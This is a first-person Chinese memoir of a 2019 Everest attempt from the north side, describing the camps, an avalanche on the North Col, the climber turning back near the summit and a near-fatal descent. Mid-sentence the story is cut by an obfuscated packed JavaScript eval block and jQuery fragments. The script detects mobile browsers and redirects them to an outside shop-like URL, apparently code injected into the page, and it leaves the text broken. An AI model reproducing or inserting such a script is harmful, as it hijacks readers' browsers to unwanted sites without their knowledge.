2019年4月份，我再次来到西藏日喀则的定日县，准备在5月中旬攀登珠穆朗玛峰。珠穆朗玛峰海拔8848.86米，是世界第一高峰，地处喜马拉雅山脉中段，高高耸立在中国与尼泊尔的边界上。从中国面远远望去，像一只振翅高飞的雄鹰，圣洁而巍峨雄壮。
无论从它北面中国境内的传统路线登顶，还是从它南面尼泊尔境内的传统路线攀登，整个登山周期需要40天左右。如果从尼泊尔境内攀登，最大的障碍是经常移动变换、凶险万分的昆布冰川。从中国境内登顶，最大的天险则是爬升难度极大，从海拔6500米到7028米的北坳冰壁。
在从中国境内传统的攀登路线上，设有两个大本营，均位于东绒布冰川的末端。一个是专供游客参观的大本营，公路已经直接修到了大本营的门口，建立在海拔5050米的开阔地带上。另外一个真正的登山大本营，则需要再往珠穆朗玛峰方向前行1.5公里左右，建立在海拔5200米的扇形戈壁上。
攀登的过渡营地设在东绒布冰川中段，靠近章子峰一侧，海拔5800米处，相对平坦的碎石坡上，营地距离雄伟的东绒布冰塔林，近在咫尺。
再往上是设在群山环绕之间，呈S地形，海拔6500米的前进营地。前进营地的东面是海拔7018米的向东峰，正面是海拔8848.86米的珠穆朗玛峰，西面是海拔7543米的章子峰。在这个呈S地形的营地上，几乎所有的登山者都会发生高山反应，甚至连大部分的职业高山向导也会发生高山反应，所以前进营地也称为“魔鬼营地”。
北坳冰壁就在魔鬼营地的正前方，是连接在珠穆朗玛峰与章子峰之间一道形似马鞍状的坳谷。整个冰壁的平均坡度超过50度，最大坡度超过80度，成为从东绒布冰川方向，攀登珠穆朗玛峰的必经之路，被誉为珠穆朗玛峰的东北大门。站在北坳冰壁的下方，高近500米、无比陡峭险峻的冰壁，给人一种十分强烈的压迫感，让人望而生畏，不想靠近。高耸入云霄的珠穆朗玛峰就在冰壁的正后方。
在北坳冰壁适应性拉练的第19天，我们登山队还曾经遭遇过一场雪崩。
那天，我们正在冰壁上练习使用上升器及安全绳。天空洁净而湛蓝，轻柔缥缈的流云悬浮在半山腰上。远古的冰川，反射着夺目的白光。深不见底的冰裂缝纵横交错，散发着阴森逼人的寒气。千万年的冰塔林泛起幽幽的鬼魅蓝光。举目四顾，天地之间一片银装素裹，晶莹剔透。一切都是那么的美好与安详，那么的和谐与自然。
忽然冰壁顶部传来“咔嚓”的一声脆响，走在我前面的次仁多吉惊恐地回头对我们大声高喊：“是冰雪层断裂的声音！马上就要雪崩啦！大家赶紧找冰山作为掩体，躲在它们的背后！”次仁多吉、阿旺桑珠、次旺顿珠3人不约而同地挥舞起冰镐，指挥大家迅速隐蔽在一座高大的冰山后面。只见在我们的斜上方，靠近章子峰不远处的冰壁上，缓缓出现了一道很长的横向裂缝。随着裂缝的不断增宽加长，横向的大片冰雪块开始向下慢慢移动。冰雪块在持续重力作用的加速下，不断向下快速滑动，渐渐获得了强大的动能，进一步带动着、挤压着、裹挟着下方的冰雪块，加速向下滚动。不一会儿，冰雪块层层叠叠堆积起来，形同小山，同时向下旋转翻滚的速度，也越来越快。十几秒钟后，开始形成一条由雪团、冰块组成的混合流体，发出“刷刷”向下奔涌的声音。又过了十几秒，便迅速变成了一条急速狂奔而下的白色巨龙。腾云驾雾般呼啸着，以雷霆万钧之势，向下急速飞驰而来。前方的雪团冰块快速地疯狂翻滚着，白色的巨龙越滚越粗，越滚越长。当翻滚到冰壁中部时，被高速旋转的离心力分流成很多条齐头并进、暴怒的白色巨龙群。它们一起顺着坡度的方向咆哮着持续加速，以迅雷不及掩耳之势飞泻而下。旋风卷起的雪粒碎冰，遮天蔽日，让整个冰壁处于一片白茫茫的朦胧当中。排山倒海的雪浪冰块，撕破稀薄的空气，发出震耳欲聋的巨响，地动山摇的怒吼。虽然雪崩的路径在距离我们在数百米开外，但撕破空气形成的强大横风，夹杂着漫天的冰尘雪雾，还是让我们站立不稳、惶恐不安、心有余悸。
5月8日上午，我们一行28人，从海拔5200米的大本营整装出发，开始正式攀登珠穆朗玛峰。
第1天，我们与驮着登山装备及行李的牦牛群一起顺利到达海拔5800米的过渡营地。
第2天，我们穿过雄伟壮丽的东绒布冰川，安全到达海拔6500米的“魔鬼营地”，并度过了较为艰难的一夜。
第3天，我们从疲惫不堪的牦牛群背上，接过自己的登山装备、食物及高山瓦斯等。各自背负着装备，小心翼翼地成功越过高500米、坡度50度左右的北坳冰壁，顺利到达海拔7028米，设在北拗冰壁顶端冰面上的C1营地。
第4天，所有队员用登山绳索连接在一起，结队快速通过常年风速超9级的“大风口”，抵达海拔7790米，设立在35度左右的雪坡岩壁上的C2营地。在C2营地，无论是进出帐篷，还是睡觉休息都得格外小心谨慎，稍不留神就会滚落山崖。
第5天，在极度疲惫和困乏中，我们异常艰难到达海拔8300米的C3营地。C3营地搭建在冰雪与岩石混合，40度左右斜坡上，睡觉就像斜靠在墙壁上一样，几乎只能仰面平躺着休息。此时距离海拔8848.86米的世界之巅，垂直距离只有500多米，我和所有的队员一样兴奋、紧张、刺激，也有些忐忑不安和恐惧。这一夜我们基本都没有入睡，静静在帐篷里闭目养神、养精蓄锐，静待凌晨的冲顶。
第6天，凌晨2点左右，我拖着沉重双腿走出帐篷的时候，头痛如裂，但还是咬牙坚持跟随在队伍的后面，开始向海拔8848.86米的顶峰发起冲击。经过1个多小时的艰难攀登，我们到达海拔8550米的第一台阶。面对65度左右的岩壁，我双腿颤抖不止，有种满身鸡皮疙瘩、毛发倒竖的惧怕感，内心几次想要放弃，但在登顶荣耀的诱惑下，以及次仁多吉的帮助下，还是异常艰难地爬到了岩壁的上方。
大约在凌晨4点30分，我在迷迷糊糊的昏沉中到达放置有传说中“中国梯”，海拔8680米的第二台阶。在极度疲倦与困顿中，我的身体已处于虚脱的边缘。站在岩壁的下方，我把氧气瓶的阀门开到最大，不断地大口深呼吸，尽可能地让自己的头脑保持清醒。我补充了几口葡萄糖热水，希望让自己尽快恢复一些体力。面对高约6米，坡度超75度的岩壁，我当时胆怯极了，也害怕极了，但还是在意识模糊中，用尽全力爬完6米多的“中国梯”。我站在岩壁的顶部，浑身不由自主地激烈颤抖起来，每向前挪动一步，仿佛双腿都有千钧之重。我只能蹲下去死死拽住铺设好的路绳，缓慢挪过暴露感很强的横切山脊，再手脚并用爬上一段斜坡。借着头灯的亮光，我抬眼就能看见海拔8750米的第三台阶。只要翻过第三台阶，再走一段暴露感极强的横切岩壁，然后就可以成功到达海拔8848.86米的世界之巅。但此时，我全身依然颤抖不止，并产生了幻觉，几次看见我早已去世的母亲和奶奶，她们不停地向我招手，呼唤着我的名字，让我早点安全回家。不知过了多久，我从幻觉中惊醒，看见次仁多吉在我身旁不停地摇晃着我，并大声地呼喊着王老七。
我有种强烈的不祥预感，直觉也一再提醒我：应该理智地放弃登顶，迅速下撤。次仁多吉与队长也建议我放弃登顶，赶紧快速下撤。经过短暂的挣扎与纠结，我终于放下了长期以来所坚持的执念，做出了下撤的艰难决定，放弃了只要再攀登垂直高度100多米，就能站上海拔8848.86米世界之巅的机会。
次仁多吉用一条安全绳把我们两人连接在一起，我缓慢地走在前面。他紧紧拽住我，跟随在后面，艰难下撤到海拔8300米的C3营地时，已经是早上10点多钟，气温也随着太阳的升起微微变得暖和了一些，但依然是-25度。我们在帐篷里更换了新的备用氧气瓶，也补充了一些食物及热水。在帐篷里短暂休息了2个多小时，稍微恢复了一些体力，我们继续艰难下撤。
次仁多吉头灯电池的电量，在下撤到海拔7850米时已经彻底耗尽，借着我头灯微弱的亮光，两个人勉强摸索着，于晚上10点30分左右，下撤到海拔7790米的C2营地，此时我的头灯也彻底熄灭。次仁多吉和我并排躺在帐篷里，在9级以上的暴风雪中，零下31摄氏度的极寒里，我们呼出含有少量水分的热气，还来不及外溢出帐篷便迅速变成冰尘落下来，并在我们的头发和睡袋表面结成冰。我无意识地全身颤抖着，牙齿咬得咯咯作响，已有明显的失温症状。暴风雪吹得帐篷呼呼作响，东倒西歪，时刻都会有被吹走的危险。我冰冷僵直的身体忽然感觉从天灵盖处流入一股暖流，迅速传遍四肢百骸，让我全身感到无比的温暖、无比的舒畅、无比的愉悦。我不再感到寒冷、头痛如裂、疲惫困乏，我缓缓地闭上眼睛，仿佛进入了天堂般的幸福快乐。我脑海忽然闪现过队医在培训时所讲过的回光返照：“人在进入死亡前的最后几分钟，身体会调动所有能调动的一切能量，让身体感到无比愉悦与舒畅。如果这个时候，你闭上眼睛睡去，将永远再也不会醒来。”想到温顺接受“回光返照”的后果，我心头为之一振，用仅存的意志力努力不让自己沉沉睡去，拼命地用力睁开眼睛，便听见次仁多吉在我旁边正大声呼喊我的声音，感觉到他正在用力摇晃着我的身体。我拼尽全力在喉咙里答应了他一声。他把我扶起来，摸着黑用
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334310|199212||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
保温杯盖喂给了我一盖葡萄糖热水，快速把帐篷里所有的睡袋全部盖在我身上。然后他说我已经昏迷过去了20多分钟，嘴里仿佛还在不停迷迷糊糊、支支吾吾地讲述着一些什么事情，他费了很大的劲才把我叫醒。他有些伤感地接着说：“你要安全下撤到大本营，千万不要永远留在珠穆朗玛峰上。长眠在珠穆朗玛峰上的登山者，已经有数百人之多，其中有很多遗体已成为海拔高度的标识，或成为后来登山者的路标。”
他顿了顿说：“我已经跟大本营联系上了，大本营说他们前几天已经往C1营地又运送了一些备用食物、头灯、高山瓦斯和氧气瓶，我们只要能顺利到达那里就算相对安全了。”
从严格意义上来说，我已经有7天7夜没能进入过深度睡眠，在最近的3天3夜里，更是连进入浅睡眠的时间都是断断续续、朦朦胧胧，似睡非睡。在海拔8000米左右的高度，不仅是极度寒冷，而且空气中的氧气含量只有海平面的26％左右。尽管如此，每天还需聚精会神，耗费大量的体力在高海拔攀登。
我在C2营地昏昏沉沉、迷迷糊糊休息了2个多小时。次日凌晨1点左右，同队伍成功登顶后，有几个体力恢复快的队友，也快速下撤到了C2营地。他们给我们留下一盏头灯后，继续向C1营地的方向匆匆下撤。
我挣扎着用力吃了块冰棍一样的巧克力，坐在雪地上，在漫无边际的黑暗里，继续挪动着身体向C1营地方向下撤。在凌晨3点50分左右，经过3个多小时的蠕动，极其艰难地下撤到了海拔7600米。我像一具已经快死透的尸体一样瘫倒在雪地里，感觉自己的身体除了大脑以外，已经没有一个部位属于我，没有一个部位能再受我的支配。我实在连一步都不想再往下挪动了，也不想再做任何努力与挣扎！我想放弃自己，让自己的生命就此结束在这里！
我挣扎着告诉次仁多吉不用再管我了，让他继续下撤到C1营地去吧！然后我缓缓闭上了眼睛，我母亲和奶奶也再度出现，依然不停地呼唤着我的名字。我的孩子们，我的亲人们，还有我爱的人和爱我的人，他们一个个浮现在我的眼前。他们微笑着向我走来，不断地提醒着我要早点回家，平安回家，他们会永远在家等我。
在那个风雪交加，奄奄一息，死神持续在我身边徘徊的暗夜里，从我十三岁离开家乡，一直到此时此刻，二十多年所走过的种种人生历程，难忘的、感动的、痛苦的、挣扎的、彷徨的、开心的、幸福的一幕幕像电影画面一样，在生死弥留之际，被清晰地逐一快速回忆起来。
人类在大自然面前是如此渺小，如此脆弱，而个体的生命在人类中又是那么的可有可无。我爱的每一个人，认识的每一个人，此时此刻都距离我是那么的遥不可及，那样的难以触摸，那样的难以靠近。那些我曾经认为拥有的一切，认同的一切，喜欢的一切，痛恨的一切，厌恶的一切，此时此刻都显得是那么的不足挂齿。我曾经坚持的自以为是，自我坚信的固执己见，自我信奉的真知灼见，此时此刻都显得那么的微不足道。曾经的妄自菲薄是何等自卑；曾经的妄自尊大是何等无知；曾经追寻的虚荣是何等无趣；曾经希望他人设身处地的理解，是如此的不切实际；曾经渴望他人感同身受的怜悯，是如此的荒诞无稽。
在这个时刻都有可能告别人世，永远长眠在珠穆朗玛峰上的黑夜里，我第一次觉得自己对于世界，是多么的无足轻重，轻如鸿毛；第一次觉得把自己当成主角的过往，是多么的异想天开，痴人说梦；第一次觉得我过去是幸福的、充实的、无悔的。现在虽然濒临绝境，命悬一线，但我依然还是觉得自己是幸福的、充实的、无悔的。假如我永远长眠于此，我希望我的家人和朋友们，能像我自己对生命的理解那样，坦然面对，勇敢快乐地继续生活下去。假如我不幸成为珠穆朗玛峰海拔高度的标识，我感谢那些曾经霸凌过我的人，欺骗过我的人，伤害过我的人，算计过我的人，感谢你们曾经迫使我不得不持续保持学习与进步、反思与改变、包容与理解，是你们让我的人生充满辛酸苦辣、伤痛屈辱，但也因此变得更加多姿多彩、丰富完整，也正是这些伤痕造就了今天独一无二的我。我也希望那些曾因我向往独立自由、我行我素、喜欢简单直接的说话做事方式而受到过伤害的人，你们能够释怀过往，放下昨天的怨恨和执念，原谅别人等于释放自己，宽恕自己，或者在听到我离世的消息后，对我发出欢庆的鼓掌声。还有那些因我不轻易被传统礼教的束缚，不轻易被权威所驯服，不轻易被他人所同化，只问良知不谈立场，所导致与我有不同生活感想、不同思想见解、不同价值观取向的人，你们能够包容异己，接纳自己也接纳世界，开心快乐地生活，或者在听到我与世长辞的消息后，尽情对我发出欢呼的呐喊声。